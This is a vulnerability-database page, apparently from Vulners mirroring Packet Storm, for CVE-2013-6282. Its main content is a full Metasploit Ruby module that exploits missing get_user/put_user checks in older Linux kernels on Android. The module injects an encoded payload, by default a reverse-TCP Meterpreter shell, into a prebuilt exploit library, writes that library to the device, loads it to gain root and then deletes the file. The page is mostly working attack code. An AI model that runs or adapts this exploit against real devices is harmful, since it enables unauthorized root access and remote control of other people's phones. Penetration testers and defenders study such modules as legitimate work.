Lucene search
K

Android get_user/put_user Exploit

🗓️ 26 Dec 2016 00:00:00Reported by timwrType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 142 Views

Android get_user/put_user Exploit in linux kernel before 3.5.5. Allows unprivileged user to read and write kernel memory. Exploit first reads kernel memory to identify addresses, then executes shellcode.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Android get_user/put_user Exploit
26 Dec 201600:00
zdt
GithubExploit
Exploit for Improper Input Validation in Linux Linux_Kernel
19 Dec 201616:14
githubexploit
ATTACKERKB
CVE-2013-6282
20 Nov 201300:00
attackerkb
android
Qualcomm missing checks put_user get_user
6 Sep 201300:00
android
Circl
CVE-2013-6282
29 Dec 201600:00
circl
CISA KEV Catalog
Linux Kernel Improper Input Validation Vulnerability
15 Sep 202200:00
cisa_kev
CVE
CVE-2013-6282
19 Nov 201315:00
cve
Cvelist
CVE-2013-6282
19 Nov 201315:00
cvelist
Debian CVE
CVE-2013-6282
19 Nov 201315:00
debiancve
Exploit DB
Linux Kernel < 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalation
11 Feb 201400:00
exploitdb
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Common  
  
def initialize(info={})  
super( update_info( info, {  
'Name' => "Android get_user/put_user Exploit",  
'Description' => %q{  
This module exploits a missing check in the get_user and put_user API functions  
in the linux kernel before 3.5.5. The missing checks on these functions  
allow an unprivileged user to read and write kernel memory.  
This exploit first reads the kernel memory to identify the commit_creds and  
ptmx_fops address, then uses the write primitive to execute shellcode as uid 0.  
The exploit was first discovered in the wild in the vroot rooting application.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'fi01', # libget_user_exploit / libput_user_exploit  
'cubeundcube', # kallsyms_in_memory  
'timwr', # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-6282' ],  
[ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2434453' ],  
[ 'URL', 'https://github.com/fi01/libget_user_exploit' ],  
[ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2565758' ],  
],  
'DisclosureDate' => "Sep 06 2013",  
'SessionTypes' => [ 'meterpreter' ],  
"Platform" => [ "android", "linux" ],  
'Targets' => [[ 'Automatic', { }]],  
'Payload' => { 'Space' => 2048, },  
'DefaultOptions' =>  
{  
'WfsDelay' => 120,  
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',  
},  
'DefaultTarget' => 0,  
}  
))  
end  
  
def exploit  
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2013-6282.so" )  
exploit_data = File.read(local_file, {:mode => 'rb'})  
  
space = payload_space  
payload_encoded = payload.encoded  
  
# Substitute the exploit shellcode with our own  
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))  
  
workingdir = session.fs.dir.getwd  
remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"  
write_file(remote_file, exploit_data)  
  
print_status("Loading exploit library #{remote_file}")  
session.core.load_library(  
'LibraryFilePath' => local_file,  
'TargetFilePath' => remote_file,  
'UploadLibrary' => false,  
'Extension' => false,  
'SaveToDisk' => false  
)  
print_status("Loaded library #{remote_file}, deleting")  
session.fs.file.rm(remote_file)  
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")  
end  
  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Dec 2016 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.6765
142